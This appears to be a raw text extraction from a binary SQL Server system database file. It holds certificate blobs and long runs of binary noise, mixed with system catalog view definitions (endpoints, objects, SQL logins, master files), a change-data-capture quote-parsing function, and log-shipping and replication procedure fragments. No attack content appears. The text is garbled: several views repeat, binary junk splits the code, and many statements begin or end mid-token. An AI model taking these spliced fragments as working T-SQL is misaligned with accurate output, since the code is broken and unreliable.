131019215425Z0K1I0GU@MS_SQLResourceSigningCertificate00
	*H
0͍8M~ƸiW>H՛aD6Y	up70%Ҕw=%GXGh@#i{Cqll+kFJi no[](|CGS20
	*H
?Sls޼ߕ?@zpvm":\Q{Tc~}`;"=8!ȜBu}Pˏ4
?h>=M|^(SZh5wKlFr@+%0fNAhr
 v##MS_SQLReplicationSigningCertificate##0Q1O0MUFMS_SQLReplicationSigningCertificateA)dE|?]2cw!
;qPVbu0%0c2]?|Ed)A0
	*H
0Q1O0MUFMS_SQLReplicationSigningCertificate0
121019215426Z
131019215426Z0Q1O0MUFMS_SQLReplicationSigningCertificate00
	*H
0hȅ"+Xцm{f<XhE3x e@fT\Mʡ%q@͊Qd	~!PaTBCPiuϦS//
2U,4'&J1M-&>|*^0
	*H
)2/dE]Б1>Lf
V<-ף:#NI:lg}¶7OdVʉ,/]
,cf&>L{L`'[6+@ƩF}%0gNA
 l##MS_SQLAuthenticatorCertificate##0G1E0CU<MS_SQLAuthenticatorCertificate(HAF#$nDV_*Ё900z$#FAH(0
	*H
0G1E0CU<MS_SQLAuthenticatorCertificate0
121019215426Z
131019215426Z0G1E0CU<MS_SQLAuthenticatorCertificate00
	*H
0I0{{8Yj2 j߳F?]h!Tտؘ?VpWBlHvvoJf5
)^ySTTΛJb ss	`{$$l+lQ}K0
	*H
GcfЦ^)*_DLԵx:%rqN"a!٢W
͡4,E$T\oGǮ"T\ywY/k	06RlC	Ԣ%v.,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Z*
]^8!!!!`<[	
UU"0 8CREATE VIEW sys.server_event_notifications AS
	SELECT o.name,
		object_id = o.id,
		parent_class = o.pclass,
		parent_class_desc = pc.name,
		parent_id = o.pid,
		create_date = o.created,
		modify_date = o.modified,
		service_name = convert(nvarchar(256), v.value) COLLATE Latin1_General_BIN,
		broker_instance = convert(sysname, b.value) COLLATE Latin1_General_BIN,
		creator_sid = convert(varbinary(85), cs.value),
		principal_id = r.indepid
	FROM master.sys.sysschobjs o
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 72 AND v.objid = o.id AND v.subobjid = 0 AND v.valnum = 0		-- SVC_ASYNTRGSVCNAME
	LEFT JOIN sys.sysobjvalues b ON b.valclass = 74 AND b.objid = o.id AND b.subobjid = 0 AND b.valnum = 0		-- SVC_ASYNTRGBRKRINST
	LEFT JOIN sys.sysobjvalues cs ON cs.valclass = 75 AND cs.objid = o.id AND cs.subobjid = 0 AND cs.valnum = 0	-- SVC_ASYNTRGCTRSID
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = o.id AND r.class = 98 AND r.depsubid = 0	-- SRC_OBJLOGIN
	LEFT JOIN sys.syspalvalues pc ON pc.class = 'UNCL' AND pc.value = o.pclass
	WHERE o.type = 'EN' AND o.nsclass = 30 AND o.pclass = 100	-- x_eonc_EvtNotifOnServer:x_eunc_Server
		AND has_access('TR', o.id, o.pid, o.nsclass) = 1
0@ ?8CREATE VIEW sys.via_endpoints AS
	SELECT e.name,
		e.id AS endpoint_id,
		o.indepid AS principal_id,
		e.protocol, p.name AS protocol_desc,
		e.type, t.name AS type_desc,
		convert(tinyint, e.bstat & 3) AS state,	-- BSTAT_STATEMASK
		s.name AS state_desc,
		sysconv(bit, case when e.affinity = -1 then 1 else 0 end) AS is_admin_endpoint, 
		e.site AS discriminator
	FROM master.sys.sysendpts e
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = e.id AND o.class = 60 AND o.depsubid = 0	-- SRC_ENDPTLOGINOWNER
	LEFT JOIN sys.syspalvalues p ON p.class = 'EPPR' AND p.value = e.protocol
	LEFT JOIN sys.syspalvalues t ON t.class = 'EPTY' AND t.value = e.type
	LEFT JOIN sys.syspalvalues s ON s.class = 'EPST' AND s.value = e.bstat & 3
	WHERE e.protocol = 5
		AND has_access('HE', e.id) = 1
0@ 8CREATE VIEW sys.soap_endpoints AS
	SELECT e.name,
		endpoint_id = e.id,
		principal_id = o.indepid,
		e.protocol,
		protocol_desc = p.name,
		e.type,
		type_desc = t.name,
		state = convert(tinyint, bstat & 3),	-- BSTAT_STATEMASK
		state_desc = s.name,
		sysconv(bit, case when e.affinity = -1 then 1 else 0 end) AS is_admin_endpoint, 
		is_sql_language_enabled = sysconv(bit, e.tstat & 8),		-- TSTAT_SOAP_SQL
		wsdl_generator_procedure = e.wsdlproc,
		default_database = e.dfltdb,
		default_namespace = e.dfltns,
		default_result_schema = convert(tinyint, e.tstat & 7),		-- TSTAT_SOAP_RSLTSCHMASK
		default_result_schema_desc = rs.name,
		is_xml_charset_enforced = sysconv(bit, e.tstat & 16),		-- TSTAT_SOAP_XMLCHARSET
		is_session_enabled = sysconv(bit, e.tstat & 32),			-- TSTAT_SOAP_SESSION
		session_timeout = e.typeint,
		login_type = sl.name,
		header_limit = e.maxconn
	FROM master.sys.sysendpts e
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = e.id AND o.class = 60 AND o.depsubid = 0	-- SRC_ENDPTLOGINOWNER
	LEFT JOIN sys.syspalvalues p ON p.class = 'EPPR' AND p.value = e.protocol
	LEFT JOIN sys.syspalvalues t ON t.class = 'EPTY' AND t.value = e.type
	LEFT JOIN sys.syspalvalues s ON s.class = 'EPST' AND s.value = e.bstat & 3
	LEFT JOIN sys.syspalvalues rs ON rs.class = 'SPRS' AND rs.value = e.tstat & 7
	LEFT JOIN sys.syspalvalues sl ON sl.class = 'SPSL' AND sl.value = e.tstat & 64
	WHERE e.type = 1
		AND has_access('HE', e.id) = 1
0 8CREATE VIEW sys.service_broker_endpoints AS
	SELECT
		e.name,
		endpoint_id = e.id,
		principal_id = o.indepid,
		e.protocol,
		protocol_desc = p.name,
		e.type,
		type_desc = t.name,
		state = convert(tinyint, e.bstat & 3),	-- BSTAT_STATEMASK
		state_desc = s.name,
		sysconv(bit, case when e.affinity = -1 then 1 else 0 end) AS is_admin_endpoint, 
		is_message_forwarding_enabled = sysconv(bit, e.tstat & 1),	-- TSTAT_SSB_MSGFWD
		message_forwarding_size = e.typeint,
		-- Authentication and encryption options. Identical in SSB and DBM endpoints
		connection_auth = e.authtype,		
		connection_auth_desc = ca.name,
		certificate_id = ISNULL(co.indepid, 0),
		encryption_algorithm = e.encalg,
		encryption_algorithm_desc = ag.name
	FROM master.sys.sysendpts e
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = e.id AND o.class = 60 AND o.depsubid = 0	-- SRC_ENDPTLOGINOWNER
	LEFT JOIN sys.syspalvalues p ON p.class = 'EPPR' AND p.value = e.protocol
	LEFT JOIN sys.syspalvalues t ON t.class = 'EPTY' AND t.value = e.type
	LEFT JOIN sys.syspalvalues s ON s.class = 'EPST' AND s.value = e.bstat & 3
	LEFT JOIN sys.syspalvalues ca ON ca.class = 'EPCA' AND ca.value = e.authtype
	LEFT JOIN sys.syspalvalues ag ON ag.class = 'EPCE' AND ag.value = e.encalg
	LEFT JOIN sys.syssingleobjrefs co ON co.class = 25 and co.depid = e.id  AND co.depsubid = 0 -- SRC_ENDPT_CERTIFICATE
	WHERE e.type = 3
		AND has_access('HE', e.id) = 1
0@ s8CREATE VIEW sys.endpoint_webmethods AS
	SELECT
		endpoint_id = m.id,
		namespace = m.nmspace,
		method_alias = m.alias,
		object_name = m.objname,
		result_schema = convert(tinyint, m.status & 7),			-- METHSTAT_SCHEMAMASK
		result_schema_desc = s.name,
		result_format = convert(tinyint, (m.status/8) & 7),		-- METHSTAT_FMTMASK
		result_format_desc = f.name
	FROM master.sys.syswebmethods m
	LEFT JOIN sys.syspalvalues s ON s.class = 'SPRS' AND s.value = m.status & 7
	LEFT JOIN sys.syspalvalues f ON f.class = 'SPRF' AND f.value = (m.status/8)&7
	WHERE has_access('HE', m.id) = 1
mallint, case when xtype in (34, 35, 99) then null	-- ntext, image, text
				when xtype = 36 then prec	-- uniqueidentifier
				when length = -1 then -1	-- new style large objects
				else odbcprec(xtype, length, prec) end),
		scale = odbcscale(xtype, scale),
		iscomputed = convert(int, 0),
		isoutparam = convert(int, (status & 512)/512),	-- is_output
		isnullable = convert(int, 1 - (status & 1)),	-- is_nullable
		collation = convert(sysname, columnpropertyex(id, name, 'collation')),
		tdscollation = convert(binary(5), columnpropertyex(id, name, 'tdscollation'))
	FROM sys.syscolpars
	WHERE (status & 4096) = 4096
0j@ 8CREATE VIEW sys.system_parameters$ AS
	SELECT id AS object_id,
		number,
		name collate catalog_default AS name,
		colid AS parameter_id,
		xtype AS system_type_id,
		utype AS user_type_id,
		length AS max_length,
		prec AS precision, scale,
		sysconv(bit, status & 512) AS is_output,
		sysconv(bit, status & 1024) AS is_cursor_ref,
		sysconv(bit, 0) AS has_default_value,
		sysconv(bit, 0) AS is_xml_document,
		convert(sql_variant, null) AS default_value,
		sysconv(int, 0) AS xml_collection_id,
		sysconv(bit, 0) AS is_readonly
	FROM sys.syscolpars
	WHERE number > 0 AND (status & 4096) = 4096
0@ 8CREATE VIEW sys.tcp_endpoints AS
	SELECT e.name,
		e.id AS endpoint_id,
		o.indepid AS principal_id,
		e.protocol, p.name AS protocol_desc,
		e.type, t.name AS type_desc,
		convert(tinyint, e.bstat & 3) AS state,	-- BSTAT_STATEMASK
		s.name AS state_desc,
		sysconv(bit, case when e.affinity = -1 then 1 else 0 end) AS is_admin_endpoint, 
		e.port1 AS port,
		sysconv(bit, e.pstat & 1) AS is_dynamic_port,	-- PSTAT_TCP_DYNAMICPORT
		convert(varchar(45), e.site) AS ip_address
	FROM master.sys.sysendpts e
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = e.id AND o.class = 60 AND o.depsubid = 0	-- SRC_ENDPTLOGINOWNER
	LEFT JOIN sys.syspalvalues p ON p.class = 'EPPR' AND p.value = e.protocol
	LEFT JOIN sys.syspalvalues t ON t.class = 'EPTY' AND t.value = e.type
	LEFT JOIN sys.syspalvalues s ON s.class = 'EPST' AND s.value = e.bstat & 3
	WHERE e.protocol = 2
		AND has_access('HE', e.id) = 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!:ya(`<Ao^y0@ 8CREATE VIEW sys.tcp_endpoints AS
	SELECT e.name,
		e.id AS endpoint_id,
		o.indepid AS principal_id,
		e.protocol, p.name AS protocol_desc,
		e.type, t.name AS type_desc,
		convert(tinyint, e.bstat & 3) AS state,	-- BSTAT_STATEMASK
		s.name AS state_desc,
		sysconv(bit, case when e.affinity = -1 then 1 else 0 end) AS is_admin_endpoint, 
		e.port1 AS port,
		sysconv(bit, e.pstat & 1) AS is_dynamic_port,	-- PSTAT_TCP_DYNAMICPORT
		convert(varchar(45), e.site) AS ip_address
	FROM master.sys.sysendpts e
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = e.id AND o.class = 60 AND o.depsubid = 0	-- SRC_ENDPTLOGINOWNER
	LEFT JOIN sys.syspalvalues p ON p.class = 'EPPR' AND p.value = e.protocol
	LEFT JOIN sys.syspalvalues t ON t.class = 'EPTY' AND t.value = e.type
	LEFT JOIN sys.syspalvalues s ON s.class = 'EPST' AND s.value = e.bstat & 3
	WHERE e.protocol = 2
		AND has_access('HE', e.id) = 1
0@ 8CREATE VIEW sys.http_endpoints AS
	SELECT e.name, e.id AS endpoint_id,
		o.indepid AS principal_id,
		e.protocol, p.name AS protocol_desc,
		e.type, t.name AS type_desc,
		convert(tinyint, e.bstat & 3) AS state,	-- BSTAT_STATEMASK
		s.name AS state_desc,
		sysconv(bit, case when e.affinity = -1 then 1 else 0 end) AS is_admin_endpoint, 
		e.site,
		convert(nvarchar(4000), v.value) collate Latin1_General_CI_AS_KS_WS AS url_path,
		sysconv(bit, e.pstat & 1) AS is_clear_port_enabled,		-- PSTAT_HTTP_CLEARPORT
		e.port1 AS clear_port,
		sysconv(bit, e.pstat & 2) AS is_ssl_port_enabled,		-- PSTAT_HTTP_SSLPORT
		e.port2 AS ssl_port,
		sysconv(bit, 0) AS is_anonymous_enabled,				-- is_anonymous_enabled is always zero.
		sysconv(bit, e.pstat & 8) AS is_basic_auth_enabled,		-- PSTAT_HTTP_BASICAUTH
		sysconv(bit, e.pstat & 16) AS is_digest_auth_enabled,		-- PSTAT_HTTP_DIGESTAUTH
		sysconv(bit, (e.pstat & (32|64))) AS is_kerberos_auth_enabled,	-- PSTAT_HTTP_INTEGAUTH | PSTAT_HTTP_KERBEROS
		sysconv(bit, (e.pstat & (32|256))) AS is_ntlm_auth_enabled,	-- PSTAT_HTTP_INTEGAUTH |PSTAT_HTTP_NTLM
		sysconv(bit, case when (e.pstat & 32) <> 0 or (e.pstat & 320)=320 then 1 else 0 end) AS is_integrated_auth_enabled,	-- PSTAT_HTTP_INTEGAUTH | (PSTAT_HTTP_KERBEROS & PSTAT_HTTP_NTLM)
		e.authrealm AS authorization_realm,
		e.dfltdm AS default_logon_domain,
		sysconv(bit, e.pstat & 128) AS is_compression_enabled 		-- PSTAT_HTTP_COMPRESS
	FROM master.sys.sysendpts e
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = e.id AND o.class = 60 AND o.depsubid = 0	-- SRC_ENDPTLOGINOWNER
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 46 AND v.objid = e.id AND v.subobjid = 0 AND v.valnum = 1	-- SVC_EP_PROPS
	LEFT JOIN sys.syspalvalues p ON p.class = 'EPPR' AND p.value = e.protocol
	LEFT JOIN sys.syspalvalues t ON t.class = 'EPTY' AND t.value = e.type
	LEFT JOIN sys.syspalvalues s ON s.class = 'EPST' AND s.value = e.bstat & 3
	WHERE e.protocol = 1
		AND has_access('HE', e.id) = 1
0@ 8CREATE VIEW sys.endpoints AS
	SELECT
		e.name, e.id AS endpoint_id,
		o.indepid AS principal_id,
		e.protocol, p.name AS protocol_desc,
		e.type, t.name AS type_desc,
		state = convert(tinyint, bstat & 3),	-- BSTAT_STATEMASK
		s.name AS state_desc,
		sysconv(bit, case when e.affinity = -1 then 1 else 0 end) AS is_admin_endpoint
	FROM master.sys.sysendpts e
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = e.id AND o.class = 60 AND o.depsubid = 0	-- SRC_ENDPTLOGINOWNER
	LEFT JOIN sys.syspalvalues p ON p.class = 'EPPR' AND p.value = e.protocol
	LEFT JOIN sys.syspalvalues t ON t.class = 'EPTY' AND t.value = e.type
	LEFT JOIN sys.syspalvalues s ON s.class = 'EPST' AND s.value = e.bstat & 3
	WHERE has_access('HE', e.id) = 1
0@ 8CREATE VIEW sys.messages AS
	SELECT id AS message_id,
		msglangid AS language_id,
		convert(tinyint, severity) AS severity,
		sysconv(bit, status & 128) AS is_event_logged,	-- MSG80_EVENTLOG
		text
	FROM master.sys.sysusermsgs
	WHERE id > 50000	-- x_MDMessageIdUsrFmt
	UNION ALL
	SELECT message_id,
		language_id,
		severity,
		is_event_logged,
		text
	FROM OpenRowset(TABLE SYSERRORS)
0i@ 38CREATE VIEW sys.syscolumns$ AS
	SELECT name, id, xtype,
		typestat = convert(tinyint, status & 3), -- (1-is_nullable) + is_ansi_padded * 2
		xusertype = convert(smallint, utype),
		length, xprec = prec,
		xscale = scale,
		colid = convert(smallint, colid),
		xoffset = convert(smallint, 0),
		bitpos = convert(tinyint, 0),
		reserved = convert(tinyint, 0),
		colstat = convert(smallint, (status & 512)/128 + (status & 1024)/32), -- is_output*4 + is_cursor_ref*32
		cdefault = dflt,
		domain = chk,
		number = convert(smallint, case number when 1 then 1 - objectproperty(id, 'isscalarfunction') else number end),
		colorder = convert(smallint, colid),
		autoval = convert(varbinary(8000), null),
		offset  = convert(smallint, 0),
		collationid = columnproperty(id, name, 'collationid'),
		language = convert(int, 0),
		status = convert(tinyint, (status & 2 + 1 - (status & 1))*8 + (status & 512)/8), -- is_nullable*8 + is_ansi_padded*16 + is_output*64 (parameter)
		type = xtypetotds(xtype, 1 - (status & 1)),	-- is_nullable
		usertype = convert(smallint, columnproperty(id, name, 'oldusertype')),
		printfmt = convert(varchar(255), null),
		prec = convert(smallint, case when xtype in (34, 35, 99) then null	-- ntext, image, text
				when xtype = 36 then prec	-- uniqueidentifier
				when length = -1 then -1	-- new style large objects
				else odbcprec(xtype, length, prec) end),
		scale = odbcscale(xtype, scale),
		iscomputed = convert(int, 0),
		isoutparam = convert(int, (status & 512)/512),	-- is_output
		isnullable = convert(int, 1 - (status & 1)),	-- is_nullable
		collation = convert(sysname, columnpropertyex(id, name, 'collation')),
		tdscollation = convert(binary(5), columnpropertyex(id, name, 'tdscollation'))
	FROM sys.syscolpars
	WHERE (status & 4096) = 4096
0j@ 8CREATE VIEW sys.system_parameters$ AS
	SELECT id AS object_id,
		number,
		name collate catalog_default AS name,
		colid AS parameter_id,
		xtype AS system_type_id,
		utype AS user_type_id,
		length AS max_length,
		prec AS precision, scale,
		sysconv(bit, status & 512) AS is_output,
		sysconv(bit, status & 1024) AS is_cursor_ref,
		sysconv(bit, 0) AS has_default_value,
		sysconv(bit, 0) AS is_xml_document,
		convert(sql_variant, null) AS default_value,
		sysconv(int, 0) AS xml_collection_id,
		sysconv(bit, 0) AS is_readonly
	FROM sys.syscolpars
	WHERE number > 0 AND (status & 4096) = 4096
0 @ 8CREATE VIEW sys.configurations AS
	SELECT configuration_id,
		name,
		value,
		minimum,
		maximum,
		value_in_use,
		description,
		is_dynamic,
		is_advanced
	FROM sys.configurations$
	WHERE is_not_use = 0
0> /8CREATE VIEW sys.syslanguages AS
	SELECT langid, dateformat, datefirst,
		convert(int, 0) AS upgrade,
		name, alias,
		convert(nvarchar(372), month1+N',' COLLATE catalog_default +month2+N','+month3+N','+month4+N','+month5+N','+month6
			+N','+month7+N','+month8+N','+month9+N','+month10+N','+month11+N','+month12) AS months,
		convert(nvarchar(132), shortmonth1+N',' COLLATE catalog_default +shortmonth2+N','+shortmonth3+N','+shortmonth4+N','+shortmonth5+N','+shortmonth6
			+N','+shortmonth7+N','+shortmonth8+N','+shortmonth9+N','+shortmonth10+N','+shortmonth11+N','+shortmonth12) AS shortmonths,
		convert(nvarchar(217), day2+N',' COLLATE catalog_default +day3+N','+day4+N','+day5+N','+day6+N','+day7+N','+day1) AS days,
		lcid, msglangid
	FROM OpenRowset(TABLE SYSLANG)
0= 8CREATE VIEW sys.syscharsets AS
	SELECT type, id, csid,
		convert(smallint, 0) AS status,
		name, description,
		convert(varbinary(6000), null) AS binarydefinition,
		convert(image, null) AS definition
	FROM OpenRowset(TABLE CHARSET)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!kq`3(
<
/[.̈I0@ 
8CREATE VIEW sys.objects$ AS
	SELECT
		o.name,
		o.id AS object_id,
		r.indepid AS principal_id,
		o.nsid AS schema_id,
		o.pid AS parent_object_id,
		o.type AS type,
		n.name AS type_desc,
		o.intprop AS property,
		o.created AS create_date,
		o.modified AS modify_date,
		sysconv(bit, o.status & 1) AS is_ms_shipped,				-- OBJALL_MSSHIPPED
		sysconv(bit, o.status & 2) AS is_auto_dropped,				-- OBJALL_AUTODROP
		sysconv(bit, o.status & 4) AS is_system_named,			-- OBJALL_SYSNAMED
		sysconv(bit, o.status & 16) AS is_published,				-- OBJALL_RPL_PUBLISHED
		sysconv(bit, o.status & 64) AS is_schema_published,			-- OBJALL_RPL_PUB_SCHONLY
		convert(bit, o.status & 0x100) AS is_cycling,				-- OBJSEQ_IS_CYCLING
		sysconv(bit, o.status & 256) AS lock_on_bulk_load,			-- OBJTAB_BCPTABLOCK
		sysconv(bit, o.status & 256) AS is_disabled,				-- OBJCST_DISABLED
		sysconv(bit, o.status & 256) AS is_auto_executed,			-- OBJPRC_STARTUP
		sysconv(bit, o.status & 256) AS is_activation_enabled,		-- OBJSQ_ACTIVATIONON
		sysconv(bit, o.status & 512) AS has_opaque_metadata,		-- OBJVW_OPAQUEBMM
		sysconv(bit, o.status & 512) AS is_not_for_replication,		-- OBJCST_NOTFORREPL
		sysconv(bit, o.status & 512) AS is_receive_enabled,			-- OBJSQ_RECEIVEON
		convert(bit, o.status & 0x200) AS is_cached,				-- OBJSEQ_IS_CACHED
		sysconv(bit, o.status & 1024) AS is_not_trusted,			-- OBJCST_NOTRUST
		sysconv(bit, o.status & 1024) AS is_enqueue_enabled,		-- OBJSQ_ENQUEUEON
		sysconv(bit, o.status & 1024) AS with_check_option,		-- OBJVW_WITHCHECK
		sysconv(bit, o.status & 2048) AS is_retention_enabled,		-- OBJSQ_RETENTIONON
		sysconv(bit, o.status & 2048) AS has_unchecked_assembly_data,	-- OBJTAB_HAS_UNCHKED_ASM_DATA
		convert(tinyint, (o.status/4096) & 3) AS update_referential_action,		-- ERefAct/OBJREF_UPDACTMASK
		convert(tinyint, (o.status/16384) & 3) AS delete_referential_action,	-- ERefAct/OBJREF_DELACTMASK
		sysconv(bit, o.status & 0x1000) AS is_replicated,			-- OBJTAB_REPLICATE
		sysconv(bit, o.status & 0x1000) AS is_execution_replicated,	-- OBJPRC_PROC_EXEC
		sysconv(bit, o.status & 0x2000) AS has_replication_filter,		-- OBJTAB_HAS_FILT_PROC
		sysconv(bit, o.status & 0x2000) AS is_repl_serializable_only,	-- OBJPRC_PROC_SER_ONLY
		sysconv(bit, o.status & 0x4000) AS is_merge_published,			-- OBJTAB_MERGE_PUBL
		sysconv(bit, o.status & 0x4000) AS skips_repl_constraints,		-- OBJPRC_NO_REPL_CNST
		sysconv(bit, o.status & 0x8000) AS is_sync_tran_subscribed,		-- OBJTAB_SYNCTRAN_SUB
		sysconv(bit, o.status & 0x40000) AS uses_ansi_nulls,			-- OBJMOD_ANSINULLS
		sysconv(bit, o.status & 0x200000) AS null_on_null_input, 		-- OBJMOD_NULLONNULL
		sysconv(bit, o.status & 0x100000) AS uses_database_collation,	-- OBJMOD_ANSINULLS
		sysconv(bit, o.status & 0x01000000) AS is_tracked_by_cdc,			-- OBJTAB_CDC_TRACKED
		sysconv(bit, o.status & 0x02000000) AS large_value_types_out_of_row,	-- OBJTAB_LARGETYPE_OUTOFROW
		sysconv(tinyint, (o.status & 0x30000000)/0x10000000) AS lock_escalation_option,
		sysconv(bit, o.status & 0x04000000) AS is_poison_message_handling_enabled,	-- OBJSQ_POISONMSGON
		sysconv(bit, o.status2 & 0x00000002) AS is_filetable	-- OBJTAB2_FILETABLE
	FROM sys.sysschobjs o
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = o.id AND r.class = 97 AND r.depsubid = 0	-- SRC_OBJOWNER
	LEFT JOIN sys.syspalnames n ON n.class = 'OBTY' AND n.value = o.type
	WHERE o.nsclass = 0 -- x_eonc_Standard
		AND o.pclass = 1 -- x_eunc_Object
		AND has_access('CO', o.id) = 1
0 8create function [sys].[fn_cdc_next_right_quote]
(
	@quote_char			nchar,
	@string				nvarchar(max),
	@lower_index		int
)
returns int
as
begin
	declare @right_index int
		,@next_char nchar
		,@upper_index int

	set @upper_index = len(@string)	
	set @right_index = charindex(@quote_char, @string, @lower_index)

	while(@right_index <= @upper_index)
	begin
		-- Return 0 if quote character not found
		if (@right_index = 0)
		begin
			return 0
		end
		else
		begin
			-- If at the end of the string, return the index
			if (@right_index = @upper_index)
			begin
				return @right_index
			end
				
			set @next_char = substring(@string, @right_index + 1, 1)
			if (@next_char != @quote_char)
			begin
				-- If quote is not an escape character return the index
				return @right_index
			end	
		end
		
		set @right_index = charindex(@quote_char, @string, @right_index + 2)
		
	end
	
	-- Quote character not found
	return 0	
end

                ,agent_type 
                ,session_id 
                ,database_name 
                ,session_status 
                ,log_time 
                ,log_time_utc 
                ,message)
        values (
                @agent_id 
                ,@agent_type 
                ,@session_id 
                ,@database 
                ,@session_status 
                ,@log_time 
                ,@log_time_utc 
                ,@message)
        if (@@error != 0)
            return 1
    end
    else if (@mode = 2)
    begin
        --
        -- clean up log_shipping_monitor_history_detail
        --
        delete msdb.dbo.log_shipping_monitor_history_detail
        where agent_id = @agent_id and agent_type = @agent_type
    end
    --
    -- Do we need have remote monitor
    --
    if (upper(@monitor_server) != upper(@@servername))
    begin
        if (@monitor_server_security_mode = 0) and (suser_name() != SUSER_SNAME(0x01))
        begin
            --
            -- Process remote monitor using proxy
            --
            exec @retcode = msdb.sys.sp_MSproxylogshippingmonitorhistory
                    @mode = @mode
                    ,@agent_id = @agent_id
                    ,@agent_type = @agent_type
                    ,@session_id = @session_id
                    ,@session_status = @session_status
                    ,@monitor_server = @monitor_server
                    ,@database = @database
                    ,@log_time = @log_time
                    ,@log_time_utc = @log_time_utc
                    ,@message = @message
        end
        else
        begin
            --
            -- integrated -do not use proxy
            --
            select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.sys.sp_processlogshippingmonitorhistory'
            begin try
                exec @retcode = @linkcmd 
                    @mode = @mode
                    ,@agent_id = @agent_id
                    ,@agent_type = @agent_type
                    ,@session_id = @session_id
                    ,@session_status = @session_status
                    ,@monitor_server = @monitor_server
                    ,@monitor_server_security_mode = 1
                    ,@database = @database
                    ,@log_time = @log_time
                    ,@log_time_utc = @log_time_utc
                    ,@message = @message
            end try
            begin catch
                select @retcode = 1
            end catch
        end
        if (@retcode != 0 or @@error != 0)
            return 1
    end
    --
    -- all done
    --
    return 0
end
             select @cmd = @cmd + N' = cast(' + @column + N' as nvarchar(max))'
                    end
                    else
                    begin
                        select @cmd = @cmd + N' = ' + @column
                    end
                
            select @spacer = N','
            end
            exec sys.sp_MSflush_command @cmd output, 1, @indent
            select @indkey = @indkey + 1
    end
    exec sys.sp_MSflush_command @cmd output, 1, @indent
END
owset(SYSREMOTE_PROVIDER_TYPES, @server, @data_type, @best_match)
SIONS, 
		@all
		)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}~Ej@E`<jK0 @ 8CREATE VIEW sys.configurations AS
	SELECT configuration_id,
		name,
		value,
		minimum,
		maximum,
		value_in_use,
		description,
		is_dynamic,
		is_advanced
	FROM sys.configurations$
	WHERE is_not_use = 0
0!@ 88CREATE VIEW sys.sql_logins AS
	SELECT p.name,
		p.id AS principal_id,
		p.sid, p.type,
		n.name AS type_desc,
		sysconv(bit, p.status & 0x80) AS is_disabled,
		p.crdate AS create_date,
		p.modate AS modify_date,
		p.dbname AS default_database_name,
		p.lang AS default_language_name,
		r.indepid AS credential_id,
		sysconv(bit, p.status & 0x10000) AS is_policy_checked,
		sysconv(bit, p.status & 0x20000) AS is_expiration_checked,
		convert(varbinary(256), LoginProperty(p.name, 'PasswordHash')) AS password_hash
	FROM master.sys.sysxlgns p
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0	-- SRC_LOGIN_CREDENTIAL
	LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type
	WHERE type = 'S'
		AND has_access('LG', id) = 1
ces AS
	SELECT o.name,
		convert(tinyint, o.intprop) AS type,
		i.name AS type_desc,
		convert(nvarchar(260),v.value) AS physical_name
	FROM master.sys.sysclsobjs o
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 55 AND v.objid = o.id AND v.subobjid = 0 and v.valnum = 1	-- SVC_BACKUPDEVICE:VALNUM_PHYSNAME
	LEFT JOIN sys.syspalvalues i ON i.class = 'BDTY' AND i.value = o.intprop
	WHERE o.class = 55	-- SOC_BACKUPDEVICE
0(@ 8 CREATE VIEW sys.master_files AS
	SELECT
		database_id 	= f.dbid,
		file_id 		= f.fileid,
		file_guid 		= f.fileguid,
		type			= f.filetype,
		type_desc		= ft.name,
		data_space_id 	= f.grpid,
		name 			= f.lname,
		physical_name 	= f.pname,
		state			= convert(tinyint, case f.filestate		-- Map enum EMDFileState to AvailablityStates
								when 0 then 0 when 10 then 0	-- ONLINE
								when 4 then 7	-- DEFUNCT
								when 5 then 3 when 9 then 3	-- RECOVERY_PENDING
								when 7 then 1 when 8 then 1 when 11 then 1	-- RESTORING
								when 12 then 4	-- SUSPECT
								else 6 end),	-- OFFLINE
		state_desc		= st.name,
		f.size,
		max_size 			= f.maxsize,
		f.growth,
		is_media_read_only 	= sysconv(bit, f.status & 8),		-- FIL_READONLY_MEDIA
		is_read_only 			= sysconv(bit, f.status & 16),	-- FIL_READONLY
		is_sparse 			= sysconv(bit, f.status & 256),	-- FIL_SPARSE_FILE
		is_percent_growth 	= sysconv(bit, f.status & 32),	-- FIL_PERCENT_GROWTH
		is_name_reserved		= sysconv(bit, case f.filestate when 3 then 1 else 0 end), -- x_efs_DroppedReusePending
		create_lsn			= GetNumericLsn(f.createlsn),
		drop_lsn				= GetNumericLsn(f.droplsn),
		read_only_lsn			= GetNumericLsn(f.readonlylsn),
		read_write_lsn		= GetNumericLsn(f.readwritelsn),
		differential_base_lsn	= GetNumericLsn(f.diffbaselsn),
		differential_base_guid	= f.diffbaseguid,
